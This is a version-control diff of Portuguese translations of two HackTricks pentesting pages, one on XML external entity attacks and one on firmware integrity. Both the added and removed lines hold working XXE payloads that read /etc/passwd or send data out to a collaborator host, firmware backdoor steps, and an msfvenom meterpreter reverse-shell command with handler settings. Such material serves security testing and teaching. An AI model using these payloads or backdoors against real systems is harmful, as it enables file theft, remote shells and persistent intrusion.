||||||
* Utiliza a entidade `local_dtd`, para que o DTD externo seja interpretado, incluindo o valor redefinido da entidade `custom_entity`. Isso resulta na mensagem de erro desejada.
|
* Utiliza a entidade `local_dtd`, para que o DTD externo seja interpretado, incluindo o valor redefinido da entidade `custom_entity`. Isso resulta na mensagem de erro desejada.
|
||||||
|
|
||||||
**Exemplo do mundo real:** Sistemas que utilizam o ambiente de desktop GNOME frequentemente possuem um DTD em `/usr/share/yelp/dtd/docbookx.dtd` contendo uma entidade chamada `ISOamso`.
|
**Exemplo do mundo real:** Sistemas que usam o ambiente de desktop GNOME frequentemente têm um DTD em `/usr/share/yelp/dtd/docbookx.dtd` contendo uma entidade chamada `ISOamso`.
|
||||||
```markup
|
```markup
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE foo [
|
<!DOCTYPE foo [
|
||||||
|
@ -279,46 +279,26 @@ Testing 0 entities : []
|
||||||
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
|
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
|
||||||
Testing 0 entities : []
|
Testing 0 entities : []
|
||||||
```
|
```
|
||||||
### XXE via Analisadores Office Open XML
|
### XXE via Analisadores de Office Open XML
|
||||||
|
|
||||||
(Copiado de [**aqui**](https://labs.detectify.com/2021/09/30/10-types-web-vulnerabilities-often-missed/))\
|
Para uma explicação mais aprofundada deste ataque, **confira a segunda seção deste [post incrível](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) do Detectify**.
|
||||||
Muitas aplicações web permitem que você faça upload de documentos do Microsoft Office e, em seguida, extraem alguns detalhes deles. Por exemplo, você pode ter uma aplicação web que permite importar dados fazendo upload de uma planilha no formato XLSX. Em algum momento, para que o analisador extraia os dados da planilha, ele precisará **analisar pelo menos um arquivo XML**.
|
|
||||||
|
|
||||||
A única maneira de testar isso é gerar um **arquivo do Microsoft Office que contenha um payload XXE**, então vamos fazer isso. Primeiro, crie um diretório vazio para descompactar seu documento e descompacte-o!
|
A capacidade de **fazer upload de documentos do Microsoft Office é oferecida por muitas aplicações web**, que em seguida procedem para extrair certos detalhes desses documentos. Por exemplo, uma aplicação web pode permitir que usuários importem dados fazendo upload de uma planilha no formato XLSX. Para que o analisador extraia os dados da planilha, ele inevitavelmente precisará analisar pelo menos um arquivo XML.
|
||||||
```
|
|
||||||
test$ ls
|
|
||||||
test.docx
|
|
||||||
test$ mkdir unzipped
|
|
||||||
test$ unzip ./test.docx -d ./unzipped/
|
|
||||||
Archive: ./test.docx
|
|
||||||
inflating: ./unzipped/word/numbering.xml
|
|
||||||
inflating: ./unzipped/word/settings.xml
|
|
||||||
inflating: ./unzipped/word/fontTable.xml
|
|
||||||
inflating: ./unzipped/word/styles.xml
|
|
||||||
inflating: ./unzipped/word/document.xml
|
|
||||||
inflating: ./unzipped/word/_rels/document.xml.rels
|
|
||||||
inflating: ./unzipped/_rels/.rels
|
|
||||||
inflating: ./unzipped/word/theme/theme1.xml
|
|
||||||
inflating: ./unzipped/[Content_Types].xml
|
|
||||||
```
|
|
||||||
Abra `./unzipped/word/document.xml` no seu editor de texto favorito (vim) e edite o **XML para conter seu payload XXE favorito**. A primeira coisa que costumo tentar é uma requisição HTTP, assim:
|
|
||||||
```
|
|
||||||
<!DOCTYPE x [ <!ENTITY test SYSTEM "http://[ID].burpcollaborator.net/"> ]>
|
|
||||||
<x>&test;</x>
|
|
||||||
```
|
|
||||||
Essas linhas devem ser inseridas entre os dois objetos XML raiz, assim, e claro que você precisará substituir a URL por uma URL que você possa monitorar as requisições:
|
|
||||||
|
|
||||||
![Essas linhas devem ser inseridas entre os dois objetos XML raiz, assim](https://labs.detectify.com/wp-content/uploads/2021/09/xxe-obscure.png)
|
Para testar essa vulnerabilidade, é necessário criar um **arquivo do Microsoft Office contendo um payload XXE**. O primeiro passo é criar um diretório vazio onde o documento possa ser descompactado.
|
||||||
|
|
||||||
O que resta é **zipar o arquivo para criar seu malicioso poc.docx**. A partir do diretório "descompactado" que criamos anteriormente, execute o seguinte:
|
Uma vez que o documento tenha sido descompactado, o arquivo XML localizado em `./unzipped/word/document.xml` deve ser aberto e editado em um editor de texto de preferência (como o vim). O XML deve ser modificado para incluir o payload XXE desejado, geralmente começando com uma requisição HTTP.
|
||||||
|
|
||||||
![A partir do diretório "descompactado" que criamos anteriormente, execute o seguinte:](https://labs.detectify.com/wp-content/uploads/2021/09/xxe-unzipped.png)
|
As linhas XML modificadas devem ser inseridas entre os dois objetos raiz XML. É importante substituir a URL por uma URL monitorável para as requisições.
|
||||||
|
|
||||||
|
Finalmente, o arquivo pode ser compactado para criar o arquivo malicioso poc.docx. A partir do diretório "unzipped" criado anteriormente, o seguinte comando deve ser executado:
|
||||||
|
|
||||||
|
Agora, o arquivo criado pode ser carregado para a aplicação web potencialmente vulnerável, e pode-se esperar que uma requisição apareça nos logs do Burp Collaborator.
|
||||||
|
|
||||||
Agora faça o upload do arquivo para sua aplicação web (com sorte) vulnerável e reze para os deuses do hacking por uma requisição nos seus logs do Burp Collaborator.
|
|
||||||
|
|
||||||
### Protocolo Jar:
|
### Protocolo Jar:
|
||||||
|
|
||||||
O protocolo `jar` está disponível apenas em **aplicações Java**. Ele permite acessar arquivos dentro de um arquivo **PKZIP** (`.zip`, `.jar`, ...) e funciona para arquivos locais e remotos:
|
O protocolo `jar` está disponível apenas em **aplicações Java**. Ele permite acessar arquivos dentro de um arquivo **PKZIP** (`.zip`, `.jar`, ...), e funciona para arquivos locais e remotos:
|
||||||
```
|
```
|
||||||
jar:file:///var/myarchive.zip!/file.txt
|
jar:file:///var/myarchive.zip!/file.txt
|
||||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||||
|
@ -331,7 +311,7 @@ Ser capaz de acessar arquivos dentro de arquivos PKZIP é **extremamente útil p
|
||||||
|
|
||||||
1. Faz uma requisição HTTP para carregar o arquivo zip. `https://download.host.com/myarchive.zip`
|
1. Faz uma requisição HTTP para carregar o arquivo zip. `https://download.host.com/myarchive.zip`
|
||||||
2. Salva a resposta HTTP em um local temporário. `/tmp/...`
|
2. Salva a resposta HTTP em um local temporário. `/tmp/...`
|
||||||
3. Extrai o conteúdo do arquivo.
|
3. Extrai o arquivo do arquivo.
|
||||||
4. Lê o `file.zip`
|
4. Lê o `file.zip`
|
||||||
5. Deleta arquivos temporários.
|
5. Deleta arquivos temporários.
|
||||||
|
|
||||||
|
@ -342,7 +322,7 @@ Uma vez que o servidor tenha baixado seu arquivo, você precisa encontrar sua lo
|
||||||
![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png)
|
![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png)
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Escrever arquivos em um diretório temporário pode ajudar a **escalar outra vulnerabilidade que envolve um caminho de travessia** (como inclusão de arquivo local, injeção de template, XSLT RCE, deserialização, etc).
|
Escrever arquivos em um diretório temporário pode ajudar a **escalar outra vulnerabilidade que envolve um caminho de travessia** (como inclusão de arquivo local, injeção de template, XSLT RCE, desserialização, etc).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### XSS
|
### XSS
|
||||||
|
@ -400,7 +380,7 @@ Então você pode tentar quebrar o hash usando hashcat
|
||||||
|
|
||||||
Algumas aplicações **recebem dados submetidos pelo cliente, incorporam-nos no lado do servidor em um documento XML e, em seguida, analisam o documento**. Um exemplo disso ocorre quando dados submetidos pelo cliente são colocados em uma **solicitação SOAP de backend**, que é processada pelo serviço SOAP de backend.
|
Algumas aplicações **recebem dados submetidos pelo cliente, incorporam-nos no lado do servidor em um documento XML e, em seguida, analisam o documento**. Um exemplo disso ocorre quando dados submetidos pelo cliente são colocados em uma **solicitação SOAP de backend**, que é processada pelo serviço SOAP de backend.
|
||||||
|
|
||||||
Nessa situação, você não pode realizar um ataque XXE clássico, porque **você não controla o documento XML inteiro** e, portanto, não pode definir ou modificar um elemento `DOCTYPE`. No entanto, você pode ser capaz de usar `XInclude` em vez disso. `XInclude` é uma parte da especificação XML que permite que um documento XML seja construído a partir de subdocumentos. Você pode colocar um ataque `XInclude` dentro de qualquer valor de dados em um documento XML, então o ataque pode ser realizado em situações onde você controla apenas um único item de dados que é colocado em um documento XML do lado do servidor.
|
Nessa situação, você não pode realizar um ataque XXE clássico, porque **não controla o documento XML inteiro** e, portanto, não pode definir ou modificar um elemento `DOCTYPE`. No entanto, você pode ser capaz de usar `XInclude` em vez disso. `XInclude` é uma parte da especificação XML que permite que um documento XML seja construído a partir de subdocumentos. Você pode colocar um ataque `XInclude` dentro de qualquer valor de dados em um documento XML, então o ataque pode ser realizado em situações onde você controla apenas um único item de dados que é colocado em um documento XML do lado do servidor.
|
||||||
|
|
||||||
Para realizar um ataque `XInclude`, você precisa referenciar o namespace `XInclude` e fornecer o caminho para o arquivo que deseja incluir. Por exemplo:
|
Para realizar um ataque `XInclude`, você precisa referenciar o namespace `XInclude` e fornecer o caminho para o arquivo que deseja incluir. Por exemplo:
|
||||||
```markup
|
```markup
|
||||||
|
@ -488,11 +468,9 @@ Outro exemplo pode ser encontrado [aqui](https://medium.com/hmif-itb/googlectf-2
|
||||||
```markup
|
```markup
|
||||||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
||||||
```
|
```
|
||||||
Isso só funciona se o servidor XML aceitar o protocolo `data://`.
|
|
||||||
|
|
||||||
### UTF-7
|
### UTF-7
|
||||||
|
|
||||||
Você pode usar a \[**"Encode Recipe**" do cyberchef aqui]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)para]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para)) para transformar em UTF-7.
|
Você pode usar a \[**"Encode Recipe"** do cyberchef aqui]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) para transformar em UTF-7.
|
||||||
```markup
|
```markup
|
||||||
<!xml version="1.0" encoding="UTF-7"?-->
|
<!xml version="1.0" encoding="UTF-7"?-->
|
||||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||||
|
@ -561,7 +539,7 @@ Exemplo de DTD:
|
||||||
Esta seção foi retirada de [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\
|
Esta seção foi retirada de [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\
|
||||||
De acordo com a [Wikipedia](https://en.wikipedia.org/wiki/XLIFF):
|
De acordo com a [Wikipedia](https://en.wikipedia.org/wiki/XLIFF):
|
||||||
|
|
||||||
> XLIFF (XML Localization Interchange File Format) é um formato de bitexto baseado em XML criado para padronizar a maneira como os dados localizáveis são passados entre ferramentas durante um processo de localização e um formato comum para troca de ferramentas CAT.
|
> XLIFF (XML Localization Interchange File Format) é um formato de bitexto baseado em XML criado para padronizar a maneira como os dados localizáveis são passados entre ferramentas e durante um processo de localização e um formato comum para troca de ferramentas CAT.
|
||||||
|
|
||||||
### Solicitação cega
|
### Solicitação cega
|
||||||
```markup
|
```markup
|
||||||
|
@ -579,7 +557,7 @@ A resposta do servidor com um erro:
|
||||||
```javascript
|
```javascript
|
||||||
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
||||||
```
|
```
|
||||||
Mas tivemos um sucesso no Burp Collaborator.
|
Mas tivemos um resultado no Burp Collaborator.
|
||||||
|
|
||||||
### Exfiltração de Dados via Out of Band
|
### Exfiltração de Dados via Out of Band
|
||||||
```markup
|
```markup
|
||||||
|
@ -606,7 +584,7 @@ Resposta do Servidor:
|
||||||
```javascript
|
```javascript
|
||||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||||
```
|
```
|
||||||
Ótimo! O arquivo `non-exist` é refletido nas mensagens de erro. A seguir, adicionaremos o Conteúdo do Arquivo.
|
Ótimo! O arquivo `non-exist` é refletido nas mensagens de erro. O próximo passo é adicionar o Conteúdo do Arquivo.
|
||||||
|
|
||||||
Arquivo DTD:
|
Arquivo DTD:
|
||||||
```markup
|
```markup
|
||||||
|
@ -619,7 +597,7 @@ E o conteúdo do arquivo foi **impresso com sucesso na saída do erro enviado vi
|
||||||
|
|
||||||
## RSS - XEE
|
## RSS - XEE
|
||||||
|
|
||||||
XML válido com formato RSS para explorar uma vulnerabilidade XXE.
|
XML válido no formato RSS para explorar uma vulnerabilidade XXE.
|
||||||
|
|
||||||
### Ping back
|
### Ping back
|
||||||
|
|
||||||
|
@ -688,7 +666,7 @@ Usando filtro base64 do PHP
|
||||||
</channel>
|
</channel>
|
||||||
</rss>
|
</rss>
|
||||||
```
|
```
|
||||||
## Java XMLDecoder XEE para RCE
|
## XMLDecoder Java XEE para RCE
|
||||||
|
|
||||||
XMLDecoder é uma classe Java que cria objetos com base em uma mensagem XML. Se um usuário mal-intencionado conseguir fazer com que uma aplicação use dados arbitrários em uma chamada ao método **readObject**, ele obterá instantaneamente execução de código no servidor.
|
XMLDecoder é uma classe Java que cria objetos com base em uma mensagem XML. Se um usuário mal-intencionado conseguir fazer com que uma aplicação use dados arbitrários em uma chamada ao método **readObject**, ele obterá instantaneamente execução de código no servidor.
|
||||||
|
|
||||||
|
@ -774,9 +752,9 @@ Extrair informações via HTTP usando DTD externo próprio: [https://ysx.me.uk/f
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,51 +1,48 @@
|
||||||
|
```markdown
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
# Integridade do Firmware
|
||||||
|
|
||||||
### Esta página foi copiada de [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
O **firmware personalizado e/ou binários compilados podem ser carregados para explorar falhas de verificação de integridade ou assinatura**. Os seguintes passos podem ser seguidos para a compilação de backdoor bind shell:
|
||||||
|
|
||||||
Tente **fazer upload de firmware personalizado e/ou binários compilados** para verificar falhas de integridade ou assinatura. Por exemplo, compile um backdoor bind shell que inicie na inicialização usando os seguintes passos.
|
1. O firmware pode ser extraído usando o firmware-mod-kit (FMK).
|
||||||
|
2. A arquitetura e endianness do firmware alvo devem ser identificadas.
|
||||||
|
3. Um compilador cruzado pode ser construído usando Buildroot ou outros métodos adequados para o ambiente.
|
||||||
|
4. O backdoor pode ser construído usando o compilador cruzado.
|
||||||
|
5. O backdoor pode ser copiado para o diretório /usr/bin do firmware extraído.
|
||||||
|
6. O binário QEMU apropriado pode ser copiado para o rootfs do firmware extraído.
|
||||||
|
7. O backdoor pode ser emulado usando chroot e QEMU.
|
||||||
|
8. O backdoor pode ser acessado via netcat.
|
||||||
|
9. O binário QEMU deve ser removido do rootfs do firmware extraído.
|
||||||
|
10. O firmware modificado pode ser reempacotado usando FMK.
|
||||||
|
11. O firmware com backdoor pode ser testado emulando-o com o firmware analysis toolkit (FAT) e conectando-se ao IP e porta do backdoor alvo usando netcat.
|
||||||
|
|
||||||
1. Extraia o firmware com o firmware-mod-kit (FMK)
|
Se um shell root já foi obtido através de análise dinâmica, manipulação do bootloader ou testes de segurança de hardware, binários maliciosos pré-compilados como implantes ou reverse shells podem ser executados. Ferramentas automatizadas de payload/implante como o framework Metasploit e 'msfvenom' podem ser utilizadas seguindo os passos abaixo:
|
||||||
2. Identifique a arquitetura e a endianness do firmware alvo
|
|
||||||
3. Construa um compilador cruzado com o Buildroot ou use outros métodos que se adequem ao seu ambiente
|
|
||||||
4. Use o compilador cruzado para construir o backdoor
|
|
||||||
5. Copie o backdoor para o /usr/bin do firmware extraído
|
|
||||||
6. Copie o binário QEMU apropriado para o rootfs do firmware extraído
|
|
||||||
7. Emule o backdoor usando chroot e QEMU
|
|
||||||
8. Conecte-se ao backdoor via netcat
|
|
||||||
9. Remova o binário QEMU do rootfs do firmware extraído
|
|
||||||
10. Reempacote o firmware modificado com o FMK
|
|
||||||
11. Teste o firmware com backdoor emulando com o firmware analysis toolkit (FAT) e conectando-se ao IP e porta do backdoor alvo usando netcat
|
|
||||||
|
|
||||||
Se um shell root já foi obtido a partir de análise dinâmica, manipulação do bootloader ou testes de segurança de hardware, tente executar binários maliciosos pré-compilados como implantes ou reverse shells. Considere usar ferramentas automatizadas de payload/implante usadas para frameworks de comando e controle (C&C). Por exemplo, o framework Metasploit e o ‘msfvenom’ podem ser aproveitados usando os seguintes passos.
|
1. A arquitetura e endianness do firmware alvo devem ser identificadas.
|
||||||
|
2. Msfvenom pode ser usado para especificar o payload alvo, IP do host atacante, número da porta de escuta, tipo de arquivo, arquitetura, plataforma e o arquivo de saída.
|
||||||
|
3. O payload pode ser transferido para o dispositivo comprometido e garantir que ele tenha permissões de execução.
|
||||||
|
4. Metasploit pode ser preparado para lidar com solicitações de entrada iniciando o msfconsole e configurando as configurações de acordo com o payload.
|
||||||
|
5. O meterpreter reverse shell pode ser executado no dispositivo comprometido.
|
||||||
|
6. Sessões do meterpreter podem ser monitoradas à medida que se abrem.
|
||||||
|
7. Atividades de pós-exploração podem ser realizadas.
|
||||||
|
|
||||||
1. Identifique a arquitetura e a endianness do firmware alvo
|
Se possível, vulnerabilidades dentro de scripts de inicialização podem ser exploradas para obter acesso persistente a um dispositivo através de reinicializações. Essas vulnerabilidades surgem quando scripts de inicialização referenciam, [linkam simbolicamente](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), ou dependem de código localizado em locais montados não confiáveis, como cartões SD e volumes flash usados para armazenar dados fora dos sistemas de arquivos raiz.
|
||||||
2. Use `msfvenom` para especificar o payload alvo apropriado (-p), IP do host atacante (LHOST=), número da porta de escuta (LPORT=), tipo de arquivo (-f), arquitetura (--arch), plataforma (--platform linux ou windows) e o arquivo de saída (-o). Por exemplo, `msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux`
|
|
||||||
3. Transfira o payload para o dispositivo comprometido (por exemplo, execute um servidor web local e use wget/curl para transferir o payload para o sistema de arquivos) e garanta que o payload tenha permissões de execução
|
|
||||||
4. Prepare o Metasploit para lidar com solicitações de entrada. Por exemplo, inicie o Metasploit com msfconsole e use as seguintes configurações de acordo com o payload acima: use exploit/multi/handler,
|
|
||||||
* `set payload linux/armle/meterpreter_reverse_tcp`
|
|
||||||
* `set LHOST 192.168.1.245 #IP do host atacante`
|
|
||||||
* `set LPORT 445 #pode ser qualquer porta não utilizada`
|
|
||||||
* `set ExitOnSession false`
|
|
||||||
* `exploit -j -z`
|
|
||||||
5. Execute o meterpreter reverse 🐚 no dispositivo comprometido
|
|
||||||
6. Observe as sessões do meterpreter se abrindo
|
|
||||||
7. Realize atividades de pós-exploração
|
|
||||||
|
|
||||||
Se possível, identifique uma vulnerabilidade dentro dos scripts de inicialização para obter acesso persistente a um dispositivo após reinicializações. Tais vulnerabilidades surgem quando scripts de inicialização referenciam, [linkam simbolicamente](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), ou dependem de código localizado em locais montados não confiáveis, como cartões SD e volumes flash usados para armazenar dados fora dos sistemas de arquivos raiz.
|
|
||||||
|
|
||||||
|
# Referências
|
||||||
|
* Para mais informações, verifique [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -53,10 +50,11 @@ Se possível, identifique uma vulnerabilidade dentro dos scripts de inicializaç
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
